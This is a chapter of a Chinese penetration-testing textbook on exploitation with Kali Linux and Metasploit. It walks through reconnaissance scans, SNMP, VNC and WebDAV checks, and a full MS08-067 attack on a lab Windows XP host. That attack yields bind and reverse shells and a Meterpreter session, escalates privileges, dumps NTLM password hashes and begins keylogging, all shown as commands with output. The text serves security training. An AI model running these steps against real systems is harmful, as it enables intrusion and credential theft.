第9章 漏洞利用

漏洞利用是渗透测试的一个环节。脆弱性评估不涉及漏洞利用的有关测试。在摸索出目标的漏洞之后,测试人员会验证并真刀真枪地利用目标系统的安全漏洞,以进一步了解目标网络和运营系统,获取更多信息,甚至掌握完全控制权。本章讲重点介绍实战环境下使用的漏洞利用工具,并阐述漏洞利用的具体方法。

本章分为以下几个部分。

9.1节介绍漏洞检测的相关知识。漏洞检测是理解、检查、测试漏洞的基础工作,是指导利用漏洞工作的重要环节。

9.2 节介绍漏洞和漏洞利用程序的资料库(exploit repositories)。漏洞利用程序的资料库是查找公开获取exploit的重要途径,它还描述了有关exploit的应用方法。

9.3节从评估目标安全性的角度,讲解一款恶名远扬的漏洞利用程序工具集及其使用方法。这部分内容清晰地演示了利用目标漏洞到获取敏感信息的各个步骤。本节还进行了细致的案例说明。

本章的最后篇幅将简要地介绍编写Metasploit exploit 模板的具体步骤。

编写漏洞利用程序(exploit)的程序代码都不仅费时费力,而且代码的质量直接关系着整个工作环节的成败。因此,渗透人员需要根据目标环境的实际情况对通过公开渠道获取的exploit程序进行相应调整。这种调整工作的技术含量很高,而且这类工作通常都是触类旁通的。掌握相应技能的人员可以举一反三地对很多程序进行调整。强烈建议读者在编写自己的漏洞利用程序之前,先通过公开渠道获取的的漏洞利用程序练手。

9.1 漏洞检测

了解特定软件或特定硬件设备的功能,可能就是挖掘其潜在漏洞的第一步。检验漏洞并不容易,绝非是一蹴而就之事。检验人员必须具备扎实的知识基础,了解安全分析的各方面因素。漏洞检测所需的安全分析技能分为以下几种。

● 编程技能:这是称职的守法黑客必须具备的基础素质。掌握某种编程语言的基本原理和编程方法,是安全测试人员检测程序漏洞的必备技能。除此之外,他还应当深入了解处理器、系统内存、缓冲区、指针、数据类型、寄存器和缓存等基础概念。无论是C/C++、Python、Pert还是汇编语言,几乎所有编程语言的实现方式都与上述概念有关。根据现有漏洞编写exploit程序的基本方法,请参阅http://www. phreedom.org/presentations/exploit-code-development/exploit-code-development.pdf。

● 逆向工程:漏洞挖掘工作同样依赖测试人员的逆向工程技能。这种技术分析程序的具体函数、数据结构和算法,可检测出电子设备、软件以及系统中潜藏的漏洞。逆向工程的反编译技术,可在事先不知道内部结构情况下逆向解析出程序的源代码,从而测试程序的错误条件、不完善的函数以及存在缺陷的协议,并能够测试程序的边界条件。专业的安全研究员都具备很高的逆向工程实战能力。逆向工程可以用于去除软件的版权保护、安全审计、分析技术竞争情报、侵权鉴定、研究软件的交互性、掌握程序的工作机制,甚至破获敏感数据。逆向工程为应用安全的概念增加了两个抽象层:源代码级审计(source code auditing)和二进制(可执行程序)审计(binary auditing)。如果可以获取程序的源代码,审计人员可采用自动或手动的方式分析源程序的安全问题,进而解析出可能触发漏洞的边界条件。另一方面,虽然测试人员可以在没有源码的情况下进行二进制审计,不过这种审计的效果不如源代码审计理想。二进制审计通常都会用到两种通用类型的辅助工具,即反汇编程序(disassemblers)和反编译程序(decompilers)。反汇编程序可把编译后的二进制程序反汇编成汇编指令,而反编译器则把编译后的二进制程序反编译成高级程序语言的程序源代码。然而,无论选用反汇编程序还是反编译程序,成功的逆向安全工作都离不开审计人员扎实的技术实力和小心谨慎的评估态度。

● 熟悉检测工具:检测漏洞的工作依赖各种调试器、数据挖掘器、模糊测试数据生成器、事件检测器、代码覆盖分析器、流量分析器和内存监视器。对于检验漏洞的工作来说,漏洞检测工具十分重要。它们同时还是测试项目的集成测试平台。虽然 Kali Linux收录了不少监测工具,但是本书并不会详细讲解每款工具。如需持续关注逆向工具的最新动态,请访问在线的网络资料库:http://www.woodmann.com/collaborative/tools/index.php/Category : RCE_Tools。

● 构建exploit和payload的技术实力:利用漏洞的最后一步工序就是编写漏洞的PoC (Proof of Concept,概念验证)程序,即shellcode。这种程序旨在使渗透测试人员在远程目标主机上执行自定义的指令。根据逆向工程阶段掌握的应用程序的具体缺陷,测试人员要编写验证漏洞的点睛之笔——shellcode程序。同时,他们还要防止shellcode存在缺陷,尽其所能地避免exploit(漏洞利用程序)出现崩溃问题。

要让目标系统执行我们编写的程序或我们所要执行的指令,就应当针对漏洞的类型和类别拟定针对性的策略。为了获取目标操作系统的控制权,专业的渗透测试人员会尽力挖掘并综合使用应用程序的各种安全缺陷。本章的后半部分将通过几个场景演示 Metasploit框架的使用方法和相关技术。

9.2 漏洞和exploit资料库

近些年来,公共领域持续报道了大量的程序漏洞。其屮一些漏洞存在 PoC。PoC 程序从一个侧面验证了 exploit(利用应用程序漏洞)的可行性。而且,并不是每个被发现的漏洞都会被立刻修补。在当今这个时代里,人们争先恐后地获取exploit信息和漏洞信息。渗透测试人员同样可以通过公开渠道快速地检索可适用于目标系统的exploit程序。如果具备了一定的编程技巧并掌握解操作系统的具体架构,您还可以将一种类型的exploit转换为另一种exploit(例如,将Win32框架的exploit转换为Linux架构的exploit程序)。本文将介绍一系列的网络资料库,以助您追踪漏洞信息或查找适用的exploit程序。

请注意:网络上公开的漏洞信息并不涵盖全部已知漏洞。此外,虽然部分漏洞存在对应的PoC exploit程序,但是并非所有的安全漏洞信息都有公开的PoC代码。在公开的漏洞信息中,部分漏洞的描述信息甚至可谓是言之无物。因此,“要在研究漏洞时参考多个网上资源”已经成为了众多安全审计人员的共识。

figure_0236_0105

本文仅罗列了部分网络资源。Kali Linux集成了由“Offensive Security”提供的资料库,可在您的系统上保存exploit的所有漏洞记录,以便您日后参考和使用。如需查看Exploit-DB提供的资料,可在主机的shell中执行下述指令。

cd /usr/share/exploitdb/

vim files.csv

上述指令将列出Exploit-DB收录的所有exploit信息,即本机/usr/share/exploitdb/platforms/目录下的文件清单和相关描述。Kali 以目标系统的类型对漏洞进行分类(Window、Linux、HP-UX、Novell、 Solaris、BSD、IRIX、TRU64、ASP、PHP 等),并把各种exploit的源代码保存在相应的子目录下。这些文件多数是C、Perl、Python、Ruby、PHP以及其他一些编程技术开发的exploit 源代码。Kali Linux 已经收录了执行exploit 程序所需的编译程序和解释程序。

如何从exploits信息中提取特定信息?

通过操作系统的Bash 指令,您可以对文本文件的输出内容进行过滤,从而筛选所需信息。您可以通过 searchsploit 指令,或者是 cat files.csv | cut -d“,”-f3指令检索特定的exploit。有关shell指令的基本用法,请查阅http://tldp.org/LDP/abs/html/index.html。

9.3 漏洞利用程序工具集

Kali Linux 预装了几款十分好用的髙级漏洞利用程序工具集,其中就有Metasploit 框架(http://www.metasploit.com)。本文将不仅会详细地介绍这款工具,而且还会通过大量行之有效的应用场景来演示它的使用方法,以加深读者对渗透测试的认识。Metasploit 框架是由Ruby程序语言编写的模板化框架,具有很好的扩展性,便于渗透测试人员开发、使用定制的工具模板。Metasploit 的框架可以分为三大类组成部分:库、界面和模板。本文重点关注各个界面和模板的功能。界面(控制台、CU、Web、GUI)基本上是调用功能模板(漏洞利用、有效载荷、辅助工具、加密引擎、NOP)的前端UI。Metasploit框架的每个模板都有不同的作用,它们大体可分为下述模块。

● exploit(漏洞利用程序模板):包含各种 PoC 验证程序,用于验证利用特定漏洞(exploit)的可行性。

● payload(有效载荷模板):包含各种恶意程序,用于在目标系统上运行任意命令。它可能是exploit的一部分,也可能是独立编译的应用程序。

● Auxiliaries(辅助工具模板):包含一系列扫描、嗅探、拨号测试、指纹识别和其他类型的安全评估程序。

● Encoders(编码工具模板):在渗透测试中,这个模板用来加密有效载荷,以避免被杀毒软件、防火墙、IDS/IPS以其他类似的反恶意软件检测出来。

● NOP(空操作模板):这个模板用于在shellcode 中插入NOP(汇编指令)。虽然NOP不会进行实际的操作,但是在构造shellcode时可以用来暂时替代playload,形成完整的shellcode程序。

为了便于读者理解,下文将演示两个著名的Metasploit界面,并讲解相关的指令行选项。每个接口都有各自的各有长处和短处。本文强烈建议读者习惯使用console接口,因为它支持该框架的多数功能。

9.3.1 MSFConsole

MSFConsole是效率最高、功能最强大的高度集成的端界面之一。它便于渗透测试人员充分利用整个漏洞利用程序框架。如需使用 msfconsole ,可在桌面菜单里依次选中Applications | Kali Linux | Exploitation Tools | Metasploit | metasploit framework,或在终端中执行下述指令。

msfconsole

上述指令将用户带入控制台类型的人机交互界面。如果需要了解所有可用的命令,可以输人下述指令。

msf > help

上述指令将会显示两类命令。一类指令是在整个框架内通用的常规指令,另一类指令则是面向后台数据库的专用指令。后台数据库里存储着评估参数和评估结果。要想查看某个指令的选项说明,可以在有关指令的后面添加-h后缀。例如,我们可通过下述指令查看show命令的使用说明。

msf > show -h

[*] Valid parameters for the "show" command are: all, encoders, nos, exploits, payloads, auxiliary, plugins, options

[*] Additional module-specific parameters are: advanced, evasion, targets, actions

上述命令通常用于显示某个类型的可用模板,或者显示所有模板。常用的指令如下所示。

● show auxiliary:列出全部的辅助工具模板。

● show exploits:列出框架下所有的漏洞利用程序。

● show payloads:列出所有平台下的有效载荷。如果已经选定了一个漏洞利用程序,再使用该命令就只会显示相关的载荷。例如,Windows的载荷将显示与 Windows相关的漏洞利用模板。

● show encoders:显示可用的编码工具模板。

● show nops:显示所有可用的NOP 生成程序。

● show options:显示指定模板的全部设置和选项信息。

● show targets:显示exploit 支持的操作系统类型。

● show advanced:列出所有高级配置选项,以便进行微调。

我们将最具价值的几个常用命令总结为下述表格。您可以在 Metasploit 的控制台(console)中进行上机练习。指令中的斜体字部分,是您来指定的参数。

figure_0239_0106

下一小节将详细讲解这些命令的使用方法,并演示整个框架各个模板的具体功能。

9.3.2 MSFCLI

MSFCLI和MSFConsole相似,它们不仅都采用了命令行界面,而且都可在所有的线程中操作绝大多数的模板。然而,MSFCLI的自动化程度没有MSFConsole高。

如需启动msfcli,可在终端中使用下述指令。

#msfcli –h

上述指令将显示所有可用的模式、模式的相关说明,以及指令所需的参数。请注意msfcli需要使用等号给参数进行赋值,而且所有的选项都区分大小写。下述例子演示了选定、运行特定exploit模板的具体方法。

msfcli windows/smb/ms08_067_netapi O

[*] Please wait while we load the module tree...

Name Current Setting Required Description

---- --------------- -------- -----------

RHOST      yes  The target address

RPORT 445    yes  Set the SMB service port

SMBPIPE BROWSER   yes  The pipe name to use (BROWSER,

SRVSVC)

上述指令结尾处的选项O,用于显示指定exploit的全部选项。下述指令通过RHOST参数指定目标主机的IP地址。

msfcli windows/smb/ms08_067_netapi RHOST=192.168.0.7 P

[*] Please wait while we load the module tree...

Compatible payloads

===================

Name       Description

----      -----------

generic/debug_trap   Generate a debug trap in the target process

generic/shell_bind_tcp  Listen for a connection and spawn a command shell

...

在设置好RHOST参数指定了目标IP之后,就应当选取可行的payload,并执行我们选取的exploit。

msfcli windows/smb/ms08_067_netapi RHOST=192.168.0.7 LHOST =192.168.0.3 PAYLOAD=windows/shell/reverse_tcp E

[*] Please wait while we load the module tree...

[*] Started reverse handler on 192.168.0.3:4444

[*] Automatically detecting the target...

[*] Fingerprint: Windows XP Service Pack 2 - lang:English

[*] Selected Target: Windows XP SP2 English (NX)

[*] Attempting to trigger the vulnerability...

[*] Sending stage (240 bytes) to 192.168.0.7

[*] Command shell session 1 opened (192.168.0.3:4444 -> 192.168.0.7:1027)

Microsoft Windows XP Version 5.1.2600 Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

上述信息表明,在选定payload并设置好LHOST参数之后,我们获取了目标主机的本地shell控制权。

9.3.3 忍者操练101

本节将讲解漏洞利用框架的各种使用方法。尽管不可能完全展现Metasploit框架的各种功能,但是我们细致地挑选了几个案例,演示了它的最重要的功能。如需深入了解Metasploit框架,请参见官方的在线教程MetasploitUnleashed:http://www.offensive-security.com/metasploit-unleashed/。官方教程深入地讲解了exploit模板开发、漏洞检测以及各种评估技术。

场景1

这个场景将使用Metasploit框架集成的NMap程序进行端口扫描、OS指纹识别,以及服务鉴定。我们在MSFConsole中执行下述指令。

msf > load db_tracker

[*] Successfully loaded plugin: db_tracker

msf > db_nmap -T Aggressive -sV -n -O -v 192.168.0.7

Starting Nmap 5.00 ( http://nmap.org ) at 2010-11-11 22:34 UTC

NSE: Loaded 3 scripts for scanning.

Initiating ARP Ping Scan at 22:34

Scanning 192.168.0.7 [1 port]

Completed ARP Ping Scan at 22:34, 0.00s elapsed (1 total hosts)

Initiating SYN Stealth Scan at 22:34

Scanning 192.168.0.7 [1000 ports]

Discovered open port 445/tcp on 192.168.0.7

Discovered open port 135/tcp on 192.168.0.7

Discovered open port 25/tcp on 192.168.0.7

Discovered open port 139/tcp on 192.168.0.7

Discovered open port 3389/tcp on 192.168.0.7

Discovered open port 80/tcp on 192.168.0.7

Discovered open port 443/tcp on 192.168.0.7

Discovered open port 21/tcp on 192.168.0.7

Discovered open port 1025/tcp on 192.168.0.7

Discovered open port 1433/tcp on 192.168.0.7

Completed SYN Stealth Scan at 22:34, 3.04s elapsed (1000 total ports)

Initiating Service scan at 22:34

Scanning 10 services on 192.168.0.7

Completed Service scan at 22:35, 15.15s elapsed (10 services on 1 host)

Initiating OS detection (try #1) against 192.168.0.7

...

PORT  STATE SERVICE  VERSION

21/tcp  open ftp   Microsoft ftpd

25/tcp  open smtp   Microsoft ESMTP 6.0.2600.2180

80/tcp  open http   Microsoft IIS httpd 5.1

135/tcp open msrpc  Microsoft Windows RPC

139/tcp open netbios-ssn

443/tcpopen https?

445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds

1025/tcp open msrpc  Microsoft Windows RPC

1433/tcp open ms-sql-s  Microsoft SQL Server 2005 9.00.1399; RTM

3389/tcp open microsoft-rdp Microsoft Terminal Service

MAC Address: 00:0B:6B:68:19:91 (Wistron Neweb)

Device type: general purpose

Running: Microsoft Windows 2000|XP|2003

OS details: Microsoft Windows 2000 SP2 - SP4, Windows XP SP2 - SP3, orWindows Server 2003 SP0 - SP2

Network Distance: 1 hop

TCP Sequence Prediction: Difficulty=263 (Good luck!)

IP ID Sequence Generation: Incremental

Service Info: Host: custdesk; OS: Windows

...

Nmap done: 1 IP address (1 host up) scanned in 20.55 seconds

Raw packets sent: 1026 (45.856KB) | Rcvd: 1024 (42.688KB)

上述信息表明,现在已经成功对目标进行扫描,并且扫描结果已经保存在当前的数据库会话中。如需查看扫描阶段识别出来的目标主机和系统服务,可单独使用db_hosts和db_services指令。另外,如果您单独使用NMAP程序扫描过目标主机,而且已经把扫描报告保存为XML格式的文件,那么可以使用db_import_nmap_xml命令把Nmap的扫描报告导入到Metasploit的数据库里。

场景2

这个场景将演示 Metasploit 框架的辅助工具(auxiliaries)模板的使用方法,旨在帮助读者了解辅助工具模板在渗透测试过程中的重要作用。

SNMP字符串扫描程序

这个模板可以对指定网段进行SNMP(Simple Network Management Protocol)扫描,并使用常见的团体字符对SNMP进行测试,最终显示它识别出来的SNMP设备信息。我们来看:

msf > search snmp

[*] Searching loaded modules for pattern 'snmp'...

Auxiliary

=========

Name      Disclosure Date Rank Description

----      -------------- ---- -----------

scanner/snmp/aix_version      normal AIX SNMP

Scanner AuxiliaryModule

scanner/snmp/community       normal SNMP Community

Scanner

……

msf > use auxiliary/scanner/snmp/community

msf auxiliary(community) > show options

Module options:

Name  Current Setting

Required Description

----  ---------------         -----


BATCHSIZE 256            yes

The number of hosts to probe in each set

CHOST               no

The local client address

COMMUNITIES /opt/metasploit3/msf3/data/wordlists/snmp.txt  no

The list of communities that should be attempted per host

RHOSTS              yes

The target address range or CIDR identifier

RPORT  161            yes

The target port

THREADS  1             yes

The number of concurrent threads

msf auxiliary(community) > set RHOSTS 10.2.131.0/24

RHOSTS => 10.2.131.0/24

msf auxiliary(community) > set THREADS 3

THREADS => 3

msf auxiliary(community) > set BATCHSIZE 10

BATCHSIZE => 10

msf auxiliary(community) > run

[*] >> progress (10.2.131.0-10.2.131.9) 0/170...

[*] >> progress (10.2.131.10-10.2.131.19) 0/170...

[*] >> progress (10.2.131.20-10.2.131.29) 0/170...

[*] Scanned 030 of 256 hosts (011% complete)

[*] >> progress (10.2.131.30-10.2.131.39) 0/170...

[*] >> progress (10.2.131.40-10.2.131.49) 0/170...

[*] >> progress (10.2.131.50-10.2.131.59) 0/170...

[*] Scanned 060 of 256 hosts (023% complete)

[*] >> progress (10.2.131.60-10.2.131.69) 0/170...

[*] >> progress (10.2.131.70-10.2.131.79) 0/170...

[*] Scanned 080 of 256 hosts (031% complete)

[*] >> progress (10.2.131.80-10.2.131.89) 0/170...

[*] >> progress (10.2.131.90-10.2.131.99) 0/170...

[*] >> progress (10.2.131.100-10.2.131.109) 0/170...

[*] 10.2.131.109 'public' 'HP ETHERNET MULTI-ENVIRONMENT,ROM none,JETDIRECT,JD128,EEPROM V.33.19,CIDATE 12/17/2008'

[*] Scanned 110 of 256 hosts (042% complete)

...

[*] >> progress (10.2.131.240-10.2.131.249) 0/170...

[*] >> progress (10.2.131.250-10.2.131.255) 0/102...

[*] Scanned 256 of 256 hosts (100% complete)

[*] Auxiliary module execution completed

上述信息表明,程序识别出了一个启用SNMP 功能的设备,而且该设备可以受理团体字符串 public。虽然通过字符串 public 获取的权限只是该设备的只读权限,但是我们仍然可以获取大量有价值的信息。这些信息可能包括系统数据、正在运行的服务程序、网络地址、版本号和补丁信息等。

VNC空密码扫描程序

这个模板将会扫描指定的网段,以搜索可以使用空密码访问的虚机网络计算(Virtual Network Computing,VNC)服务器。进行扫描的指令如下。

msf > use auxiliary/scanner/vnc/vnc_none_auth

msf auxiliary(vnc_none_auth) > show options

msf auxiliary(vnc_none_auth) > set RHOSTS 10.4.124.0/24

RHOSTS => 10.4.124.0/24

msf auxiliary(vnc_none_auth) > run

[*] 10.4.124.22:5900, VNC server protocol version : "RFB 004.000", not supported!

[*] 10.4.124.23:5900, VNC server protocol version : "RFB 004.000", not supported!

[*] 10.4.124.25:5900, VNC server protocol version : "RFB 004.000",not supported!

[*] Scanned 026 of 256 hosts (010% complete)

[*] 10.4.124.26:5900, VNC server protocol version : "RFB 004.000",not supported!

[*] 10.4.124.27:5900, VNC server security types supported : None,free access!

[*] 10.4.124.28:5900, VNC server security types supported : None,free access!

[*] 10.4.124.29:5900, VNC server protocol version : "RFB 004.000",not supported!

...

[*] 10.4.124.224:5900, VNC server protocol version : "RFB 004.000",not supported!

[*] 10.4.124.225:5900, VNC server protocol version : "RFB 004.000",not supported!

[*] 10.4.124.227:5900, VNC server security types supported : None,free access!

[*] 10.4.124.228:5900, VNC server protocol version : "RFB 004.000",not supported!

[*] 10.4.124.229:5900, VNC server protocol version : "RFB 004.000",not supported!

[*] Scanned 231 of 256 hosts (090% complete)

[*] Scanned 256 of 256 hosts (100% complete)

[*] Auxiliary module execution completed

上述信息表明,Metasploit框架确实找到了很多无需验证就可访问的VNC服务器。若不采取身份认证的访问控制措施,这些主机将会招引不速之客访问VNC服务器,终将成为系统管理员的一大威胁。

IIS6 WebDAV Unicode 身份验证旁路漏洞

这个模板将会扫描指定的网段,以搜索存在IIS6 WebDAV 认证旁路漏洞的主机。启动扫描任务的指令如下。

msf > use auxiliary/scanner/http/ms09_020_webdav_unicode_bypass

msf auxiliary(ms09_020_webdav_unicode_bypass) > show options

msf auxiliary(ms09_020_webdav_unicode_bypass) > set RHOSTS

10.8.183.0/24

RHOSTS => 10.8.183.0/24

msf auxiliary(ms09_020_webdav_unicode_bypass) > set THREADS 10

THREADS => 10

msf auxiliary(ms09_020_webdav_unicode_bypass) > run

[-] Folder does not require authentication. [302]

[-] Folder does not require authentication. [400]

[*] Confirmed protected folder http://10.8.183.9:80/ 401 (10.8.183.9)

[*] Testing for unicode bypass in IIS6 with WebDAV enabled using

PROPFIND request.

[-] Folder does not require authentication. [403]

[-] Folder does not require authentication. [302]

[-] Folder does not require authentication. [501]

[-] Folder does not require authentication. [501]

...

[*] Confirmed protected folder http://10.8.183.162:80/ 401(10.8.183.162)

[*] Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.

...

[*] Confirmed protected folder http://10.8.183.155:80/ 401(10.8.183.155)

[*] Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.

[*] Confirmed protected folder http://10.8.183.166:80/ 401(10.8.183.166)

[*]Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.

[*] Confirmed protected folder http://10.8.183.168:80/ 401(10.8.183.168)

[*] Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.

[*] Confirmed protected folder http://10.8.183.167:80/ 401(10.8.183.167)

[*] Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.

[-] Folder does not require authentication. [501]

[*] Confirmed protected folder http://10.8.183.171:80/ 401(10.8.183.171)

[*] Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.

[-] Folder does not require authentication. [501]

[-] Folder does not require authentication. [501]

...

[-] Folder does not require authentication. [302]

[*] Confirmed protected folder http://10.8.183.178:80/ 401(10.8.183.178)

[*] Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.

[-] Folder does not require authentication. [501]

[-] Folder does not require authentication. [501]

[*] Scanned 182 of 256 hosts (071% complete)

[-] Folder does not require authentication. [501]

[*] Confirmed protected folder http://10.8.183.183:80/ 401(10.8.183.183)

[*] Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.

[-] Folder does not require authentication. [302]

[*] Confirmed protected folder http://10.8.183.188:80/ 401(10.8.183.188)

[*] Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.

...

[-] Folder does not require authentication. [405]

[*] Scanned 256 of 256 hosts (100% complete)

[*] Auxiliary module execution completed

上述信息表明,Metasploit 框架完成了对目标网段的扫描,已经找到了存在 MS09-020 IIS6 WebDAV Unicode Authentication Bypass漏洞的主机。或许,这种模板有助于我们发现网络中配置不当的服务器,提前发现安全隐患。

场景3

这个场景将会介绍几种常见的payload(bind、reverse 和meterpreter shell),并且以漏洞利用的角度探讨它们的功能。这些实例还将展示payload的使用方法和时机。

bind shell

bind(绑定型)shell用于提供远程shell连接。在成功利用了目标主机上的安全漏洞,并且成功执行了shellcode程序以后,渗透人员可在目标主机上的特定端口上运行bind shell,以让其他主机继续控制这台主机。攻击人员可以使用基于 TCP 连接的标准输入输出(stdin/stdout)隧道工具(例如 Netcat)连接到被攻破的主机,通过 bind shell 继续实施控制。它的应用场合与 Telnet 服务器/客户端十分相似,主要适用于以 NAT(Network Address Translation)方式连入网络的渗透人员、攻击人员的设备与目标主机之间有防火墙的情况,即适用于无法从被测主机直接连接到攻击人员主机IP的各种情况。

可通过下述指令利用主机漏洞并安装bind shell。

msf > use exploit/windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) > show options

msf exploit(ms08_067_netapi) > set RHOST 192.168.0.7

RHOST => 192.168.0.7

msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/bind_tcp

PAYLOAD => windows/shell/bind_tcp

msf exploit(ms08_067_netapi) > exploit

[*] Started bind handler

[*] Automatically detecting the target...

[*] Fingerprint: Windows XP Service Pack 2 - lang:English

[*] Selected Target: Windows XP SP2 English (NX)

[*] Attempting to trigger the vulnerability...

[*] Sending stage (240 bytes) to 192.168.0.7

[*] Command shell session 1 opened (192.168.0.3:41289 ->

192.168.0.7:4444) at Sat Nov 13 19:01:23 +0000 2010

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

上述信息表明,Metasploit 通过集成的payload 处理程序自动连接到了bind shell。我们可以自己编写shellcode,利用exploit 程序安装bind shell,然后再使用Netcat 这类第三方工具连接到 bind shell。有关 netcat 在网络安全测试中的各种用途的实例说明,请参见http://en.wikipedia.org/wiki/Netcat。

reverse shell

reverse(反射型)shell与绑定型(bind)shell截然不同。reverse shell不是在目标机器上绑定端口,被动地受理攻击人员的机器连接,而是采用反弹的方法,让被测主机主动地连接攻击者的IP和端口,并提供一个shell。reverse shell适用于被测主机采用NAT方式连接网络的情况,或者被测主机受防火墙保护而使渗透人员不能从外网直接访问被测主机的各种情况。

下述指令可设置安装reverse shell。

msf > use exploit/windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) > set RHOST 192.168.0.7

RHOST => 192.168.0.7

msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/reverse_tcp

PAYLOAD => windows/shell/reverse_tcp

msf exploit(ms08_067_netapi) > show options

msf exploit(ms08_067_netapi) > set LHOST 192.168.0.3

LHOST => 192.168.0.3

msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 192.168.0.3:4444

[*] Automatically detecting the target...

[*] Fingerprint: Windows XP Service Pack 2 - lang:English

[*] Selected Target: Windows XP SP2 English (NX)

[*] Attempting to trigger the vulnerability...

[*] Sending stage (240 bytes) to 192.168.0.7

[*] Command shell session 1 opened (192.168.0.3:4444 ->

192.168.0.7:1027) at Sat Nov 13 22:59:02 +0000 2010

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

在安装reverse shell 时需配置攻击者的IP(例如LHOST 192.168.0.3),而在安装(绑定型)bind shell 则没有这项设置。

inline payload和staged payload 的区别有哪些?

inline payload属于自主型shellcode,它的shellcode和exploit都在同一个程序文件里。而 staged payload 在两台主机之间建立通信隧道,并通过隧道执行shellcode程序。如果对payload的文件尺寸有严格要求,那么可使用 staged payload,因为它的文件尺寸比 inline payload的文件小得多。

Meterpreter

Meterpreter是一种先进的、隐蔽的、多功能的、可动态扩展的payload,它可在目标主机的系统内存里注入DLL(注入的DLL完全不会以文件形式存在)。此外,它还支持在运行期间加载脚本和插件。在漏洞利用的后期阶段,它的动态加载特性极大地拓宽了渗透人员的作业空间,方便了提权、保存系统账号、进行关键记录、驻留性后门服务、开启远程桌面等各种操作。默认情况下,Meterpreter shell 会采用全程加密的通信方式。

可通过下述指令利用漏洞并安装Meterpreter payload。

msf > use exploit/windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) > set RHOST 192.168.0.7

RHOST => 192.168.0.7

msf exploit(ms08_067_netapi) > show payloads

...

msf exploit(ms08_067_netapi) > set PAYLOAD

windows/meterpreter/reverse_tcp

PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(ms08_067_netapi) > show options

...

msf exploit(ms08_067_netapi) > set LHOST 192.168.0.3

LHOST => 192.168.0.3

msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 192.168.0.3:4444

[*] Automatically detecting the target...

[*] Fingerprint: Windows XP Service Pack 2 - lang:English

[*] Selected Target: Windows XP SP2 English (NX)

[*] Attempting to trigger the vulnerability...

[*] Sending stage (749056 bytes) to 192.168.0.7

[*] Meterpreter session 1 opened (192.168.0.3:4444 ->

192.168.0.7:1029) at Sun Nov 14 02:44:26 +0000 2010

meterpreter > help

...

通过上述指令,我们成功地连接到了被测主机的Meterpreter shell,然后我们通过help查看各种可用的命令。下一步,我们要査看当前用户的操作权限,然后通过 getsystem脚本提升自己的权限为系统权限。

meterpreter > getuid

Server username: CUSTDESK\salesdept

meterpreter > use priv

meterpreter > getsystem -h

...

上述指令将会显示提升权限的各种技术。如果不启用任何选项,直接使用getsystem指令将会逐一尝试各种提权技术,直到成功提升到系统权限为止。

meterpreter > getsystem

...got system (via technique 1).

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter > sysinfo

Computer: CUSTDESK

OS  : Windows XP (Build 2600, Service Pack 2).

Arch : x86

Language: en_US

如果在指令中启用exploit -j -z选项,那么漏洞利用程序将会在后台运行,您也不会进入交互式的Meterpreter shell。但是,如果程序成功建立了会话,您可以通过sessions -i id指令返回shell的交互界面。如需了解会话的ID,可使用sessions -l指令查看ID的确切值。

接下来,我们要获取被测主机的系统账户和密码。Windows以NTLM哈希(hash)的格式保存用户的账号信息。很多工具和技术都可以破解 NTLM 哈希。现在我们一起见证Meterpreter的真正威力。

meterpreter > run hashdump

[*] Obtaining the boot key...

[*] Calculating the hboot key using SYSKEY 71e52ce6b86e5da0c213566a123

6f892...

[*] Obtaining the user list and keys...

[*] Decrypting user keys...

[*] Dumping password hashes...

h

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e 0c089c0:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c08 9c0:::

HelpAssistant:1000:d2cd5d550e14593b12787245127c866d:d3e35f657c924d0b31eb 811d2d986df9:::

SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:c8edf0d0db48cbf7b 2835ec013cfb9c5:::

Momin Desktop:1003:ccf9155e3e7db453aad3b435b51404ee:3dbde697d71690a769204 beb12283678:::

IUSR_MOMINDESK:1004:a751dcb6ea9323026eb8f7854da74a24:b0196523134dd9a21bf 6b80e02744513:::

ASPNET:1005:ad785822109dd077027175f3382059fd:21ff86d627bcf380a5b1b6abe5d 8e1dd:::

IWAM_MOMINDESK:1009:12a75a1d0cf47cd0c8e2f82a92190b42:c74966d83d519ba41e5 196e00f94e113:::

h4x:1010:ccf9155e3e7db453aad3b435b51404ee:3dbde697d71690a769204beb 12283678:::

salesdept:1011:8f51551614ded19365b226f9bfc33fab:7ad83174aadb77faac126fdd 377b1693:::

接下来,我们通过Meterpreter shell 运行keylog 程序,记录键盘输入的内容。键盘敲击记录可能含有目标主机的多项敏感信息。

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter > ps

Process list

============

PID  Name    Arch  Session User Path

---  ----    ----  ----  ---- ----

0   [System Process]

4   System   x86  0   NT AUTHORITY\SYSTEM

384  smss.exe   x86  0   NT AUTHORITY\SYSTEM

\SystemRoot\System32\smss.exe

488  csrss.exe   x86  0   NT AUTHORITY\SYSTEM

\??\C:\WINDOWS\system32\csrss.exe

648  winlogon.exe  x86  0   NT AUTHORITY\SYSTEM

\??\C:\WINDOWS\system32\winlogon.exe

692  services.exe  x86  0   NT AUTHORITY\SYSTEM

C:\WINDOWS\system32\services.exe

704  lsass.exe   x86  0   NT AUTHORITY\SYSTEM

